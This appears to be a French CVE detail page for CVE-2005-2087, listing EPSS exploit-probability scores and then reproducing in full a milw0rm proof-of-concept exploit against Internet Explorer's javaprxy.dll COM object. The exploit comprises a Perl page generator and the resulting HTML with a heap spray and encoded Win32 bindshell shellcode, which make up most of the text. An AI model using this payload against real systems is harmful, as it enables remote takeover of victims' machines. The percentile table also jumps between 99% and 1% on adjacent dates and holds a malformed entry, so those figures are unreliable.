CVE-2005-2087 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	57.28%	–	–
2023-03-12	–	–	–	96.97%	–
2023-05-21	–	–	–	97.07%	–
2023-10-22	–	–	–	96.38%	–
2024-02-11	–	–	–	96.38%	–
2024-06-02	–	–	–	96.38%	–
2024-06-09	–	–	–	96.07%	–
2024-06-16	–	–	–	96.07%	–
2024-12-22	–	–	–	93.11%	–
2025-01-19	–	–	–	93.11%	–
2025-03-18	–	–	–	–	64.51%
2025-03-30	–	–	–	–	65.27%
2025-03-30	–	–	–	–	65.27,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	99%
2023-03-12	1%
2023-05-21	1%
2023-10-22	99%
2024-02-11	1%
2024-06-02	1%
2024-06-09	99%
2024-06-16	1%
2024-12-22	99%
2025-01-19	99%
2025-03-18	98%
2025-03-30	98%
2025-03-30	98%

<!-- (update) frsirt updated the comments to reflect skylined's code + gpl. /str0ke Perl code is commented so people can test the vuln on their IE /str0ke #!/usr/bin/perl # ###################################################### # # Microsoft Internet Explorer "javaprxy.dll" COM Object Exploit -Unpatched- # # Proof of Concept by the FrSIRT < http://www.frsirt.com / team@frsirt.com > # Bindshell on port 28876 - Based on Berend-Jan Wever's IE exploit # 01 July 2005 # # Description - http://www.frsirt.com/english/advisories/2005/0935 # Workarounds - http://www.microsoft.com/technet/security/advisory/903144.mspx # sec-consult - http://www.sec-consult.com/184.html # # Solution : # Set Internet and Local intranet security zone settings to "High" or use # another browser until a patch is released. # # Tested on : # Internet Explorer 6 on Microsoft Windows XP SP2 # Internet Explorer 6 on Microsoft Windows XP SP1 # # Affected versions : # Internet Explorer 5.01 Service Pack 3 on Microsoft Windows 2000 Service Pack 3 # Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service Pack 4 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 3 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4 # Internet Explorer 6 Service Pack 1 on Microsoft Windows XP Service Pack 1 # Internet Explorer 6 for Microsoft Windows XP Service Pack 2 # Internet Explorer 6 Service Pack 1 for Microsoft Windows XP 64-Bit SP1 (Itanium) # Internet Explorer 6 for Microsoft Windows Server 2003 # Internet Explorer 6 for Microsoft Windows Server 2003 Service Pack 1 # Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based Systems # Internet Explorer 6 for Microsoft Windows Server 2003 with SP1 for Itanium # Internet Explorer 6 for Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium) # Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition # Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition # Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium Edition # Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 SE # Internet Explorer 6 Service Pack 1 on Microsoft Windows Millennium Edition # # Usage : perl iejavaprxyexploit.pl > mypage.html # ###################################################### # # This program is free software; you can redistribute it and/or modify it under # the terms of the GNU General Public License version 2, 1991 as published by # the Free Software Foundation. # # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. See the GNU General Public License for more # details. # # A copy of the GNU General Public License can be found at: # http://www.gnu.org/licenses/gpl.html # or you can write to: # Free Software Foundation, Inc. # 59 Temple Place - Suite 330 # Boston, MA 02111-1307 # USA. # ###################################################### # header my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n"; # Win32 bindshell (port 28876) - SkyLined my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb". "%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea". "%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7". "%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b". "%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64". "%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c". "%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe". "%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0". "%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050". "%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6". "%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650". "%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa". "%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656". "%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1". "%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353". "%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353". "%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe". "%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff". "%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n"; # Memory my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n". "headersize = 20;\n". "slackspace = headersize+shellcode.length\n". "while (bigblock.length<slackspace) bigblock+=bigblock;\n". "fillblock = bigblock.substring(0, slackspace);\n". "block = bigblock.substring(0, bigblock.length-slackspace);\n". "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n". "memory = new Array();\n". "for (i=0;i<750;i++) memory[i] = block + shellcode;\n". "</SCRIPT>\n"; # javaprxy.dll my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # footer my $footer = "<object classid=\"CLSID:".$clsid."\"></object>\n". "Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n". "by the FrSIRT < http://www.frsirt.com >\n". "Solution - http://www.frsirt.com/english/advisories/2005/0935". "</body><script>location.reload();</script></html>"; # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin print "$header $shellcode $code $footer"; --> <html><body> <SCRIPT language="javascript"> shellcode = unescape("%u4343"+"%u4343"+"%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<750;i++) memory[i] = block + shellcode; </SCRIPT> <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object> Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit by the FrSIRT < http://www.frsirt.com > Solution - http://www.frsirt.com/english/advisories/2005/0935</body><script>location.reload();</script></html> # milw0rm.com [2005-07-05]